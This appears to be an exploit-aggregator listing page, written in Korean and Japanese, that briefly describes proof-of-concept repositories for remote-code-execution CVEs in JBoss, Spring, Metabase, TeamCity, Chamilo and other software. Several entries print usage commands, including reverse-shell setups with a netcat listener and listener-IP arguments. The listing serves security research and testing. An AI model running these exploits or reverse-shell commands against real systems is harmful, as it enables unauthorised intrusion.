CVE-2017-12149

CVE-2017-12149 https://github.com/1337g/CVE-2017-12149를 python3에서 작동하도록 업데이트 사용법: CVE-2017-12149.py http://targetip:port/ JBOSS RCE — https에서 작동하지 않는 이유를 모르겠습니다...

CVE-2026-65008

CVE-2026-65008 — Grav CMS 2.0.7 인증된 RCE CVE-2026-65008 에 대한 개념 증명PoC: Blueprint::dynamicData의 제한 없는 calluserfuncarray를 통한 Grav CMS 인증된 원격 코드 실행. admin.pages또는 api.pages.write 권한이 있는 사용자는 악성 form frontmatter를 심을 수 있습니다. 이후 어떤 방문자인증되지 않은 사용자 포함가 페이지를 로드하면 페이로드가 웹 서버 사용자 권한으로 실행됩니다. 승인된 테스트 전용. 자신이...

CVE-2019-0708

CVE-2019-0708-poc CVE-2019-0708 원격 코드 실행 취약점 일괄 탐지 3389hosts는 탐지할 IP 주소 목록이며, 한 줄에 하나씩 입력합니다. pool = ThreadPool10 은 사용자 정의 스캔 스레드입니다. 주의 Windows python3 환경 사용 1. 3389hosts를 편집하여 탐지할 IP 주소를 파일에 기록합니다. 한 줄에 하나씩 입력합니다. 2. 명령줄에서 코드가 있는 디렉터리로 전환한 후 python cve-2019-0708.py를 실행합니다...

WhatsRCE

WhatsRCE 이것은 CVE-2019-11932 WhatsApp 원격 코드 실행를 위한 자동화된 페이로드 생성 도구입니다. 1. GCC 자동 설치 무해한 명령어이며, 오픈소스이므로 확인 가능합니다 2. .GIF 파일로 저장 사용 방법 ? root@kitploit: sudo apt install git git clone https://github.com/KeepWannabe/WhatsRCE cd WhatsRCE && bash start.sh 셸을 얻는 방법 ? 1. 피해자 사용자에게 .GIF 파일을 문서로이미지가 아닌 보내기만...

CVE-2023-38646-PoC-Metabase

CVE-2023-38646-PoC-Metabase CVE-2023-38646 を悪用するための Proof-of-Concept スクリプト。教育および研究目的のみを想定しています。 説明 これは、Metabase に影響を与える脆弱性 CVE-2023-38646 を悪用するための Python ベースの Proof-of-Concept PoC スクリプトです。このエクスプロイトは、設定ミスを悪用してリモートコマンド実行を達成します。 ⚠️ 免責事項 :...

CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 Apache Dubbo デシリアライゼーション RCE 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 動画:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4...

RCE-CVE-2020-5902

RCE-CVE-2020-5902 BIG-IP F5 원격 코드 실행 설명 이 공격들은 F5 Networks에서 제조한 다목적 네트워킹 장치인 BIG-IP를 대상으로 합니다. BIG-IP 장치는 트래픽 셰이핑 시스템, 로드 밸런서, 방화벽, 액세스 게이트웨이, 속도 제한기 또는 SSL 미들웨어로 작동하도록 구성할 수 있습니다. 수요일, F5 Networks는 BIG-IP 장치의 "원격 코드 실행" 취약점에 대한 보안 권고를 발표하고 패치를 공개했습니다. F5는 CVE-2020-5902로 추적되는 이 취약점으로 인해 공격자가 인터넷...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 설명 이 Nuclei 템플릿은 TOCTOU 경쟁 조건으로 인해 원격 코드 실행RCE이 가능한 취약한 Apache Tomcat 서버를 탐지합니다. ⚠ 중요 참고 사항 : 이 템플릿은 교육 목적으로만, 그리고 시스템 소유자의 명시적 동의가 있는 통제된 환경에서만 사용해야 합니다. 추가로, 템플릿을 테스트 단계에 두고 있어서 취약한 모든 Apache 버전에서 100% 테스트하지는 못했습니다. 요구 사항 Nuclei 설치 Linux, macOS, Windows. 테스트를 수행할...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 리버스 셸 익스플로잇 이 Python 스크립트는 Spring Cloud Function의 원격 코드 실행 취약점인 CVE-2022-22963을 악용하여 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 이 익스플로잇은 취약한 /functionRouter 엔드포인트를 사용하여 대상 서버에서 명령을 실행합니다. 사용법 이 익스플로잇을 사용하려면 -u 옵션으로 취약한 서버의 URL을 지정하여 스크립트를 실행하기만 하면 됩니다. 스크립트는 서버가 취약한지 확인하고 사용자에게 리버스 셸을 시도할지...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 안전하지 않은 역직렬화 랩 안전하지 않은 역직렬화에 취약하여 RCE로 이어지는 기본 Java REST 애플리케이션입니다. 이 프로젝트는 Java 8u45 에서 실행해야 합니다. Maven 기반이며 다음 종속성을 사용합니다: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 더 많은 가젯gadget을 시도하려면 Maven을 통해 추가 종속성을 추가할 수 있습니다. 실행 Intellij Idea 사용을 권장합니...

s2-048

s2-048 s2-048, CVE-2017-9791에 대한 익스플로잇입니다. root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic の Jolokia API を介した RCE TL;DR Apache ActiveMQ Classic におけるリモートコード実行 の脆弱性です。攻撃者は Jolokia API（/api/jolokia/）を通じて addNetworkConnectorString MBean オペレーションを呼び出すことで、任意のコードを実行できます。攻撃者はリモートの Spring XML ファイルを指す悪意のある brokerConfig パラメータを埋め込み、ActiveMQ がそれを取得・解析して任意の Ja...

CVE-2023-24249-Exploit

CVE-2023-24249 익스플로잇 스크립트 설명 이 리포지토리는 laravel-admin 버전 1.8.19에서 발견된 심각한 취약점인 CVE-2023-24249에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 임의의 파일 업로드를 허용하여 공격자가 조작된 PHP 파일을 통해 임의의 코드를 실행할 수 있게 합니다. 이 익스플로잇은 공격자가 대상 애플리케이션에 리버스 셸을 업로드하고 실행하여 원격 접근을 얻는 방법을 보여줍니다. 취약점 세부 정보 CVE-2023-24249 는 laravel-admin v1.8.19...

CVE-2026-34038

CVE-2026-34038: Coolify에서의 인증된 원격 명령어 삽입 이 저장소는 CVE-2026-34038 에 대한 문서와 분석을 포함합니다. 이는 Coolify의 심각한 명령어 삽입 취약점입니다. 요약 Coolify에서 인증된 원격 명령어 삽입 취약점CWE-78으로 인해 애플리케이션 "쓰기" 권한을 가진 사용자가 원격 코드 실행RCE을 달성하고, 배포 로그를 통해 민감한 환경 변수예: 데이터베이스 자격 증명, API 키를 탈취 할 수 있습니다. 빌드 환경이 Docker 소켓을 격리하더라도 가능합니다. 취약점 유형:...

CVE-2019-5544_CVE-2020-3992

SLP 서비스 스캐너 CVE-2019-5544 CVE-2020-3992 SRVLOC/SLP 프로토콜을 구현하여 활성화된 OpenSLP 서비스를 스캔하는 Python 스크립트입니다. CVE-2019-5544, CVE-2020-3992 또는 CVE-2021-21974의 영향을 받는 시스템을 검색할 때 유용하게 사용할 수 있습니다... VMware 취약점에 대한 자세한 정보는 예를 들어 다음에서 확인할 수 있습니다:...

React2Shell-Exploit-CVE-2025-55182

💀 React2Shell 익스플로잇 — CVE-2025-55182 root@kitploit: ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝...

CVE-2025-48384

CVE-2025-48384 PoC 注意事項 本リポジトリはセキュリティ教育用に作成したものです。 悪用はご遠慮ください。 本脆弱性はディレクトリ名に\rを含める必要があるため、 Linux/Unix系が影響対象となります。 下記が影響対象のGitのバージョンです。 v2.43.x系 - v2.43.7 未満 v2.44.x系 - v2.44.4 未満 v2.45.x系 - v2.45.4 未満 v2.46.x系 - v2.46.4 未満 v2.47.x系 - v2.47.3 未満 v2.48.x系 - v2.48.2 未満 v2.49.x系 - v2.49.1 未満 v2.50.x系...

CVE-2016-2555

CVE-2016-2555 エクスプロイト このエクスプロイトは、ATutor 2.2.1 のSQLインジェクションの脆弱性 と認証の弱点となる脆弱性 を標的としています。これらの脆弱性を悪用することで、攻撃者は悪意のあるコードをアップロードし、脆弱なサーバー上でリモートコード実行（RCE）を達成できます。 使い方 root@kitploit: $ python3 CVE-2016-2555.py target:port 例: root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 特徴 ATutor 2.2.1 の SQL...

CVE-2023-422-Chamilo-LMS-RCE

사전 요구 사항 root@kitploit: pip install requests 정보 이 Python 스크립트는 취약점 CVE-2023-422을 이용하여 서버에 파일을 업로드하고, 그 파일을 사용하여 netcat 리스너로 리버스 셸을 보냅니다. 이 모든 과정은 인증 없이 수행할 수 있습니다. 그러나 Python 스크립트를 성공적으로 사용하려면 다음 단계를 따라야 합니다. netcat 리스너 시작: root@kitploit: nc -lnvp 4444 Python 스크립트 실행 예시: root@kitploit: python3...

CVE-2023-42793

CVE-2023-42793 정보 먼저 다른 익스플로잇을 사용하여 토큰을 획득해야 합니다. 그러나 다음 익스플로잇은 페이로드를 URL에 인코딩하여 서버로 전송함으로써 Linux 서버에서 RCE를 획득할 수 있게 해줍니다. 사용 방법 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...